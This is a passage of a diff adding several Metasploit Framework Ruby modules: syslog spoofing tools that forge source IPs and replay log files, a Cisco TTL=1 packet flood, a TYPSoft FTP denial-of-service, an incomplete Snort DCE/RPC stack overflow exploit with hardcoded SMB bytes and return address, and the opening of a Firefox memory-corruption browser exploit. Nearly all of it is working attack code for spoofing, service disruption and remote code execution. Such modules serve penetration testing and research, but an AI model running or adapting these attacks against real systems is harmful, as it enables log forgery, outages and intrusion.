'Name' => 'Syslog Spoofing a Custom Messages',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module allows you to spoof custom syslog messages to and from single hosts or a range of hosts.',
|
||||
'Author' => 'Jeremy Conway <jeremy[at]sudosecure.net>',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('DPORT',[false, "Destination Port to send Syslog to.", 514]),
|
||||
OptAddressRange.new('SHOSTS',[true, "Source IP or CIDR network range to spoof sending syslog messages from."]),
|
||||
OptString.new('MSG',[true, "Syslog custom message to send."]),
|
||||
OptBool.new('SYSLOG_HEADER',[false, "Generate Syslog header (Not always needed). Set Advanced options PRI,SHTS,SHHOST", false]),
|
||||
OptBool.new('VERBOSE',[false, "Verbose Output?", false]),
|
||||
OptBool.new('TEST',[false, "Don't send packets, just display in console what would be sent.", false]),
|
||||
OptInt.new('COUNT', [false, "Number of intervals to loop",1]),
|
||||
OptString.new('DELAY', [false, "Delay in seconds between intervals",0])
|
||||
],self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SHTS',[false, "Add Syslog header timestamp? (Jan 1 21:01:59)", false]),
|
||||
OptBool.new('SHHOST',[false, "Add Source IP to Syslog header?",false]),
|
||||
OptBool.new('PRI',[false, "Calculate priority? (FACILITY * 8 + SEVERITY)", false]),
|
||||
OptInt.new('FACILITY',[false, "Syslog Facilities (0-23) RFC 3164",0]),
|
||||
OptInt.new('SEVERITY',[false, "Syslog Severities (0-7) RFC 3164",0]),
|
||||
OptString.new('APPNAME',[false, "Syslog App Name (sshd[12345])"])
|
||||
], self.class)
|
||||
|
||||
deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT','NETMASK')
|
||||
end
|
||||
|
||||
#RFC 3164
|
||||
def cal_pri (fac, sev)
|
||||
return (fac*8+sev)
|
||||
end
|
||||
|
||||
def gen_header(sip)
|
||||
time = Time.new
|
||||
header = ''
|
||||
if( datastore['PRI'] )
|
||||
header << "<" << cal_pri(datastore['FACILITY'],datastore['SEVERITY']).to_s << ">"
|
||||
end
|
||||
if( datastore['SHTS'])
|
||||
header << time.strftime("%b %e %H:%M:%S ")
|
||||
end
|
||||
if( datastore['SHHOST'])
|
||||
header << sip << " "
|
||||
end
|
||||
if( datastore['APPNAME'])
|
||||
header << datastore['APPNAME'] << ": "
|
||||
end
|
||||
return header
|
||||
end
|
||||
|
||||
def gen_payload(sip)
|
||||
payload = ''
|
||||
if( datastore['SYSLOG_HEADER'])
|
||||
payload << gen_header(sip)
|
||||
end
|
||||
payload << datastore['MSG']
|
||||
return (payload)
|
||||
end
|
||||
|
||||
def send_syslog(sip,ip,dport)
|
||||
pkt = PacketFu::UDPPacket.new
|
||||
pkt.udp_sport= rand(0xffff-1024) + 1024
|
||||
pkt.udp_dport=dport.to_i
|
||||
pkt.ip_saddr=sip
|
||||
pkt.ip_daddr=ip
|
||||
pkt.payload << gen_payload(sip)
|
||||
pkt.recalc
|
||||
capture_sendto(pkt,ip) unless datastore['TEST']
|
||||
if(datastore['VERBOSE'] || datastore['TEST'])
|
||||
print_status("#{sip}:#{pkt.udp_sport} --> #{ip}:#{dport}\t#{pkt.payload.size > 50 ? pkt.payload[0,50] + "..." : pkt.payload}")
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
open_pcap()
|
||||
src_iplist = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
|
||||
dport=datastore['DPORT']
|
||||
sentmsgs=0
|
||||
time = Time.now
|
||||
(1..datastore['COUNT']).each do
|
||||
src_iplist.reset
|
||||
src_iplist.each do |sip|
|
||||
send_syslog(sip,ip,dport)
|
||||
sentmsgs+=1
|
||||
end
|
||||
if( datastore['DELAY'].to_f > 0)
|
||||
select(nil,nil,nil,datastore['DELAY'].to_f)
|
||||
end
|
||||
end
|
||||
time_diff = (Time.new - time)
|
||||
print_status("Total Syslog Messages Sent: %d in %.2f seconds."%[sentmsgs,time_diff])
|
||||
close_pcap()
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,197 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# Thanks to Tod Beardsley for the guidance and showing me the error of my ways with the PacketFu stuff
|
||||
# style guidlines, and the metasploit scanner module.
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Syslog Spoofing from a log file.',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module allows you to spoof Syslog messages read from a log file to and from single hosts or a range of hosts. There are numerous on the fly substitutions/replacements that can be made by setting the advanced options in this module. The TIMESTAMP_REPLACE advanced option has many of the common timestamp formats already specified and will allow you to simply choose from a list to replace them with the current timestamp, which can be useful in replaying old log files. The SRCIP_REPLACE advanced option will replace any occurrence of the text string “src_ip” tag within the log message with the spoofed source IP, which can be useful for spoofing messages from multiple source IPs using the same log file. Remember to edit the log file with the text string “src_ip” tag before playing the logs with this module. The REGEX_REPLACE advanced option will allow you to replace any arbitrary text string within the log message by specifying a regular expression or string, which is useful for changing things like user names within the log message itself.',
|
||||
'Author' => 'Jeremy Conway <jeremy[at]sudosecure.net>',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('DPORT',[false, "Destination Port to send Syslog to.", 514]),
|
||||
OptAddressRange.new('SHOSTS',[true, "Source IP or CIDR network range to spoof sending syslog messages from."]),
|
||||
OptPath.new('LOGFILE',[true, "Syslog log file to read in from and send."]),
|
||||
OptBool.new('SYSLOG_HEADER',[false, "Generate Syslog header (Not always needed). Set Advanced options PRI,SHTS,SHHOST", false]),
|
||||
OptBool.new('VERBOSE',[false, "Verbose Ouptput?", false]),
|
||||
OptBool.new('TEST',[false, "Don't send packets, just display in console what would be sent.", false]),
|
||||
OptBool.new('UTC',[false, "Use UTC timestamps? If not defaults to localtime.", false]),
|
||||
OptInt.new('COUNT', [false, "Number of intervals to loop",1]),
|
||||
OptString.new('DELAY', [false, "Delay in seconds between messages",0])
|
||||
],self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SHTS',[false, "Add standard syslog header timestamp? (Jan 1 21:01:59)", false]),
|
||||
OptBool.new('SHHOST',[false, "Add Source IP to Syslog header?",false]),
|
||||
OptBool.new('PRI',[false, "Calculate priority? (FACILITY * 8 + SEVERITY)", false]),
|
||||
OptInt.new('FACILITY',[false, "Syslog Facilities (0-23) RFC 3164",0]),
|
||||
OptInt.new('SEVERITY',[false, "Syslog Severities (0-7) RFC 3164",0]),
|
||||
OptString.new('APPNAME',[false, "Syslog App Name (sshd[12345])"]),
|
||||
OptBool.new('SRCIP_REPLACE',[false, "Replaces string \"src_ip\" in log file with spoofed source IP.", false]),
|
||||
OptEnum.new('TIMESTAMP_REPLACE', [false, '1 => (Jan 1 1990 21:01:59), 2 => (Jan 01 1990 21:01:59), 3=> (Jan 1 21:01:59), 4 => (Jan 01 21:01:59), 5 => (Thu Jan 1 21:01:59 1990), 6 => (Thu Jan 01 21:01:59 1990), 7 => (01-18-1990 21:01:59), 8 => (01/Jan/1990:21:01:59), 9 => (01181990 21:01:59), 10 => (01/18/90 21:01:59), 11 => (18/01/1990 21:01:59)', 'none', ['none','1','2','3','4','5','6','7','8','9','10','11']]),
|
||||
OptString.new('REGEX_REPLACE',[false, "Replaces specified regex string matches in log file. Format for using this options is: match_regex/new_string. NOTE: You will need to escape special characters using the escape character backslash (\"\\\")."])
|
||||
], self.class)
|
||||
deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT','NETMASK')
|
||||
|
||||
end
|
||||
|
||||
#RFC 3164
|
||||
def cal_pri (fac, sev)
|
||||
return (fac*8+sev)
|
||||
end
|
||||
|
||||
def gen_header(sip)
|
||||
time = Time.new
|
||||
header = ''
|
||||
if( datastore['PRI'] )
|
||||
header << "<" << cal_pri(datastore['FACILITY'],datastore['SEVERITY']).to_s << ">"
|
||||
end
|
||||
if( datastore['SHTS'])
|
||||
if( datastore['UTC'])
|
||||
header << time.utc.strftime("%b %e %H:%M:%S ")
|
||||
else
|
||||
header << time.strftime("%b %e %H:%M:%S ")
|
||||
end
|
||||
end
|
||||
if( datastore['SHHOST'])
|
||||
header << sip << " "
|
||||
end
|
||||
if( datastore['APPNAME'])
|
||||
header << datastore['APPNAME'] << ": "
|
||||
end
|
||||
return header
|
||||
end
|
||||
|
||||
def fix_timestamp(line,time_format,regex,utc)
|
||||
time = Time.new
|
||||
if(utc)
|
||||
line = line.gsub(/#{regex}/, time.utc.strftime("#{time_format}"))
|
||||
else
|
||||
line = line.gsub(/#{regex}/, time.strftime("#{time_format}"))
|
||||
end
|
||||
return (line)
|
||||
end
|
||||
|
||||
def gen_payload(sip,line)
|
||||
header = ''
|
||||
payload = ''
|
||||
if( datastore['SYSLOG_HEADER'])
|
||||
header = gen_header(sip)
|
||||
end
|
||||
if( datastore['SRCIP_REPLACE'])
|
||||
line = line.gsub(/src_ip/, sip)
|
||||
end
|
||||
if( datastore['REGEX_REPLACE'])
|
||||
regex = datastore['REGEX_REPLACE'].split('/')
|
||||
line = line.gsub(/#{regex.first}/, regex.last)
|
||||
end
|
||||
if( datastore['TIMESTAMP_REPLACE'])
|
||||
time_regex = ''
|
||||
time_format = ''
|
||||
if( datastore['TIMESTAMP_REPLACE'] == '1')
|
||||
#Jan 1 1990 21:01:59
|
||||
time_regex << '\w{3}\s+\d{1,2}\s\d{4}\s\d{2}:\d{2}:\d{2}'
|
||||
time_format << "%b %e %Y %T"
|
||||
elsif( datastore['TIMESTAMP_REPLACE'] == '2')
|
||||
#Jan 01 1990 21:01:59
|
||||
time_regex << '\w{3}\s\d{2}\s\d{4}\s\d{2}:\d{2}:\d{2}'
|
||||
time_format << "%b %d %Y %T"
|
||||
elsif( datastore['TIMESTAMP_REPLACE'] == '3')
|
||||
#Jan 1 21:01:59
|
||||
time_regex << '\w{3}\s+\d{1,2}\s\d{2}:\d{2}:\d{2}'
|
||||
time_format << "%b %e %T"
|
||||
elsif( datastore['TIMESTAMP_REPLACE'] == '4')
|
||||
#Jan 01 21:01:59
|
||||
time_regex << '\w{3}\s+\d{2}\s\d{2}:\d{2}:\d{2}'
|
||||
time_format << "%b %d %T"
|
||||
elsif( datastore['TIMESTAMP_REPLACE'] == '5')
|
||||
#Thu Jan 1 21:01:59 1990
|
||||
time_regex << '\w{3}\s\w{3}\s+\d{1,2}\s\d{2}:\d{2}:\d{2}\s\d{4}'
|
||||
time_format << "%a %b %e %T %Y"
|
||||
elsif( datastore['TIMESTAMP_REPLACE'] == '6')
|
||||
#Thu Jan 01 21:01:59 1990
|
||||
time_regex << '\w{3}\s\w{3}\s\d{2}\s\d{2}:\d{2}:\d{2}\s\d{4}'
|
||||
time_format << "%a %b %d %T %Y"
|
||||
elsif( datastore['TIMESTAMP_REPLACE'] == '7')
|
||||
#01-18-1990 21:01:59
|
||||
time_regex << '\d{2}-\d{2}-\d{4}\s+\d{2}:\d{2}:\d{2}'
|
||||
time_format << "%m-%d-%Y %T"
|
||||
elsif( datastore['TIMESTAMP_REPLACE'] == '8')
|
||||
#01/Jan/1990:21:01:59
|
||||
time_regex << '\d{2}/\w{3}/\d{4}:\d{2}:\d{2}:\d{2}'
|
||||
time_format << "%d/%b/%Y:%T"
|
||||
elsif( datastore['TIMESTAMP_REPLACE'] == '9')
|
||||
#01181990 21:01:59
|
||||
time_regex << '\d{8}\s\d{2}:\d{2}:\d{2}'
|
||||
time_format << "%m%d%Y %T"
|
||||
elsif( datastore['TIMESTAMP_REPLACE'] == '10')
|
||||
#01/18/90 21:01:59
|
||||
time_regex << '\d{2}/\d{2}/\d{2}\s\d{2}:\d{2}:\d{2}'
|
||||
time_format << "%m/%d/%y %T"
|
||||
elsif( datastore['TIMESTAMP_REPLACE'] == '11')
|
||||
#18/01/1990 21:01:59
|
||||
time_regex << '\d{2}/\d{2}/\d{4}\s\d{2}:\d{2}:\d{2}'
|
||||
time_format << "%d/%m/%y %T"
|
||||
end
|
||||
line = fix_timestamp(line,time_format,time_regex,datastore['UTC'])
|
||||
end
|
||||
payload << header << line
|
||||
return (payload)
|
||||
end
|
||||
|
||||
def send_syslog(sip,sport,ip,dport,line)
|
||||
pkt = PacketFu::UDPPacket.new
|
||||
pkt.udp_sport=sport.to_i
|
||||
pkt.udp_dport=dport.to_i
|
||||
pkt.ip_saddr=sip
|
||||
pkt.ip_daddr=ip
|
||||
pkt.payload << gen_payload(sip,line)
|
||||
pkt.recalc
|
||||
capture_sendto(pkt,ip) unless datastore['TEST']
|
||||
if(datastore['VERBOSE'] || datastore['TEST'])
|
||||
print_status("#{sip}:#{pkt.udp_sport} --> #{ip}:#{dport}\t#{pkt.payload.size > 50 ? pkt.payload[0,50] + "..." : pkt.payload}")
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
open_pcap()
|
||||
src_iplist = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
|
||||
dport=datastore['DPORT']
|
||||
sentmsgs=0
|
||||
time = Time.now
|
||||
(1..datastore['COUNT']).each do
|
||||
logfile=File.new("#{datastore['LOGFILE']}", "r")
|
||||
while( line = logfile.gets)
|
||||
sport=rand(0xffff-1024) + 1024
|
||||
src_iplist.reset
|
||||
src_iplist.each do |sip|
|
||||
send_syslog(sip,sport,ip,dport,line)
|
||||
sentmsgs+=1
|
||||
end
|
||||
if( datastore['DELAY'].to_f > 0)
|
||||
select(nil,nil,nil,datastore['DELAY'].to_f)
|
||||
end
|
||||
end
|
||||
logfile.close
|
||||
end
|
||||
time_diff = sprintf('%.2f', (Time.new - time))
|
||||
print_status("Total Syslog Messages Sent: #{sentmsgs} in #{time_diff} seconds.")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,82 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'racket'
|
||||
require 'pcaprub'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Forge TTL=1 Multicast Packets punted to the CPU.',
|
||||
'Description' => %q{
|
||||
This module forges TTL=1 packets to punt packets to the supervisor card CPU.
|
||||
Some supervisors cards of the Catalyst 6500 chassis handle badly TTL=1 packets
|
||||
and cause CPU spikes near to 100% if none workaround is configured.
|
||||
},
|
||||
'Author' => [ 'pello' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' => [ [ 'URL', 'http://www.cisco.com/web/about/security/intelligence/ttl-expiry.html' ] ],
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service'
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMAC', [ true, "Source MAC Address", '']),
|
||||
OptString.new('SIP', [ true, "Source IP Address", '']),
|
||||
OptString.new('DMAC', [ true, "Target MAC Address", '']),
|
||||
OptString.new('DIP', [ true, "Multicast Destination Address", '']),
|
||||
OptString.new('IFACE', [ true, "Interface To Use", 'eth0']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
begin
|
||||
n = Racket::Racket.new
|
||||
runningattack = true
|
||||
|
||||
n.l2 = Racket::L2::Ethernet.new()
|
||||
n.l2.src_mac = datastore['SMAC'] # Attacker Mac Address
|
||||
n.l2.dst_mac = datastore['DMAC'] # Cisco target device Mac Address
|
||||
n.l2.ethertype = 0x0800
|
||||
|
||||
n.l3 = Racket::L3::IPv4.new()
|
||||
n.l3.src_ip = datastore['SIP'] # Attacker source IP (or Target IP address)
|
||||
n.l3.dst_ip = datastore['DIP'] # Mulitcast destination address
|
||||
n.l3.ttl = 0x1
|
||||
n.l3.protocol = 0x11 # UDP
|
||||
|
||||
n.l4 = Racket::L4::UDP.new()
|
||||
n.l4.src_port = 0
|
||||
n.l4.dst_port = 0
|
||||
n.l4.payload = "A" * 1400
|
||||
n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
|
||||
|
||||
n.iface = datastore['IFACE']
|
||||
n.pack()
|
||||
|
||||
while runningattack
|
||||
n.send2()
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,61 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'TYPSoft FTP Server 1.1 RETR Denial of Service',
|
||||
'Description' => %q{
|
||||
This module triggers Denial of Service in the TYPSoft FTP Server 1.1 and earlier by issuing multiple "RETR" command requests.
|
||||
},
|
||||
'Author' => [
|
||||
'Donnie Werner of exploitlabs', # Bug Discoverer
|
||||
'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2005-3294'],
|
||||
[ 'BID', '15104'],
|
||||
[ 'OSVDB', '19992'],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/1251/']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 13 2005'))
|
||||
|
||||
# They're required
|
||||
register_options([
|
||||
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
|
||||
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'mozilla@example.com' ])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
return unless connect_login
|
||||
|
||||
print_status("Sending DoS packets ...")
|
||||
|
||||
3.times do |x|
|
||||
print_status("# #{x+1}")
|
||||
raw_send("RETR 0\r\n")
|
||||
end
|
||||
|
||||
disconnect
|
||||
print_good("Done")
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,149 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Snort 2.6.1. DCE/RPC Packet Reassembly Stack Buffer Overflow (Linux x86)',
|
||||
'Description' => %q{
|
||||
This exploits the buffer overflow found in Snort 2.6.1 DCE/RPC
|
||||
packet processor. This particular module is capable of
|
||||
exploiting the flaw on x86 Linux systems that do not have the
|
||||
noexec stack option set.
|
||||
},
|
||||
'Author' => [
|
||||
'Trirat Puttaraksa', #POC
|
||||
'0a29406d9794e4f9b30b3c5d6702c708' #module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2006-5276' ],
|
||||
[ 'OSVDB', '32094' ],
|
||||
[ 'BID', '22616' ],
|
||||
[ 'URL', 'http://iss.net/threats/257.html' ],
|
||||
[ 'URL', 'http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Snort 2.6.1 - Redhat 8',
|
||||
{
|
||||
'Ret' => 0xbffff120,
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'Space' => 124,
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Feb 19 2007'
|
||||
))
|
||||
register_options([
|
||||
OptString.new('INTERFACE', [true, 'The interface to inject the packet','eth0']),
|
||||
OptAddress.new('DSTIP', [true, 'The destination IP address']),
|
||||
OptAddress.new('SRCIP', [true, 'The source IP address']),
|
||||
|
||||
], self.class)
|
||||
|
||||
deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
begin
|
||||
check_pcaprub_loaded
|
||||
|
||||
# SMB packet borrowed from http://www.milw0rm.com/exploits/3391
|
||||
# NetBIOS Session Service
|
||||
smbreq = "\x00\x00\x04\xab"
|
||||
|
||||
# SMB Header -
|
||||
smbreq += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
|
||||
smbreq += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
|
||||
smbreq += "\x00\x08\x30\x00"
|
||||
|
||||
# Tree Connect AndX Request
|
||||
smbreq += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
|
||||
smbreq += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
|
||||
smbreq += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
|
||||
smbreq += "\x3f\x3f\x3f\x3f\x3f\x00"
|
||||
|
||||
# NT Create AndX Request
|
||||
smbreq += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
|
||||
smbreq += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
smbreq += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
|
||||
smbreq += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
|
||||
smbreq += "\x63\x00\x00\x00"
|
||||
|
||||
# Write AndX Request #1
|
||||
smbreq += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
|
||||
smbreq += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
|
||||
smbreq += "\x05\x00\x0b\x03\x10\x00\x00\x00\x10\x02\x00\x00\x01\x00\x00\x00"
|
||||
smbreq += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
|
||||
smbreq += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
|
||||
smbreq += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
|
||||
smbreq += "\x2b\x10\x48\x60\x02\x00\x00\x00"
|
||||
|
||||
# Write AndX Request #2
|
||||
smbreq += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
|
||||
smbreq += "\x00\x48\x00\x00\x00\xff\x01\xce\x01\x00\x00\x00\x00\x49\x00\xee"
|
||||
smbreq += "\xed\x1e\x94\x7c\x90\x81\xc4\xff\xef\xff\xff\x44"
|
||||
smbreq += "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa9"
|
||||
|
||||
# The following address overwrites RET and points into our shellcode
|
||||
smbreq += [target.ret].pack('V')
|
||||
smbreq += "\xcc" * 16 #pad
|
||||
smbreq += "\x90" * 4 #land
|
||||
enc = payload.encoded
|
||||
smbreq += enc
|
||||
smbreq += "\x90" * (334 - enc.length) #pad
|
||||
|
||||
p = PacketFu::TCPPacket.new
|
||||
p.ip_saddr = datastore['SRCIP']
|
||||
p.ip_daddr = datastore['DSTIP']
|
||||
p.tcp_sport = 139
|
||||
p.tcp_flags.ack = 1
|
||||
p.tcp_flags.psh = 1
|
||||
p.tcp_dport = 139
|
||||
p.tcp_win = 3072
|
||||
p.payload = smbreq
|
||||
p.recalc
|
||||
p
|
||||
|
||||
print_status("Sending DCE/RPC packet from #{p.ip_saddr}:#{p.tcp_sport} to #{p.ip_daddr}:#{p.tcp_dport} ")
|
||||
open_pcap
|
||||
interface = datastore['INTERFACE']
|
||||
capture.inject(p.to_s)
|
||||
close_pcap
|
||||
|
||||
rescue ::Exception => e
|
||||
print_error("Failed: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
This module needs to merge to what we current have as a windows module
|
||||
=end
|
||||
@@ -0,0 +1,200 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
#
|
||||
# This module acts as an HTTP server
|
||||
#
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::FF,
|
||||
:ua_minver => "3.5",
|
||||
:ua_maxver => "3.7",
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:javascript => true,
|
||||
:rank => NormalRanking, # reliable memory corruption
|
||||
:vuln_test => nil,
|
||||
})
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Firefox 3.5, 3.6 Cached DOM Insertion Memory Corruption',
|
||||
'Description' => %q{
|
||||
This module exploits a memory corruption vulnerability in the Mozilla
|
||||
Firefox browser.
|
||||
|
||||
This flaw occurs when a bug in the DOM handling routines fails to take
|
||||
into account a pending insertion operation. When appending to text runs,
|
||||
an insertion is done and later converted into an append. By triggering several
|
||||
appends in a certain order, it's possible to cause Firefox to have a reference
|
||||
to a text run that is in an inconsistent state. Later, when this DOM object
|
||||
is manipulated, memory corruption can occur leading to arbitrary code
|
||||
execution.
|
||||
|
||||
NOTE: This exploit currently works only against systems that have at least one
|
||||
gigabyte of memory available.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
# Found in the wild on nobelpeaceprize.org !!
|
||||
'jduck',
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2010-3765'],
|
||||
['OSVDB', '68905'],
|
||||
['BID', '44425'],
|
||||
['URL', 'http://www.mozilla.org/security/announce/2010/mfsa2010-73.html'],
|
||||
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=60722']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000 + (rand(256).to_i * 4),
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 3.5.0 on Windows XP SP0-SP3',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Vtable' => 0xfeedfed5,
|
||||
'Ret' => 0xc0c0c0c0,
|
||||
'BlockLen' => (1024*1024)/2,
|
||||
'Containers' => 850,
|
||||
}
|
||||
],
|
||||
=begin
|
||||
[ 'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Ret' => 0x41414141,
|
||||
'BlockLen' => 496,
|
||||
'Containers' => 800000
|
||||
}
|
||||
]
|
||||
=end
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 25 2010'
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response_html(cli, generate_html(p)) # , { 'Content-Type' => 'text/html; charset=utf-8' })
|
||||
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def generate_html(payload)
|
||||
|
||||
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
|
||||
enc_vtable = Rex::Text.to_unescape(
|
||||
Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target['Vtable']].pack('V') : [target['Vtable']].pack('N')
|
||||
)
|
||||
|
||||
enc_ret = Rex::Text.to_unescape(
|
||||
Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
|
||||
)
|
||||
|
||||
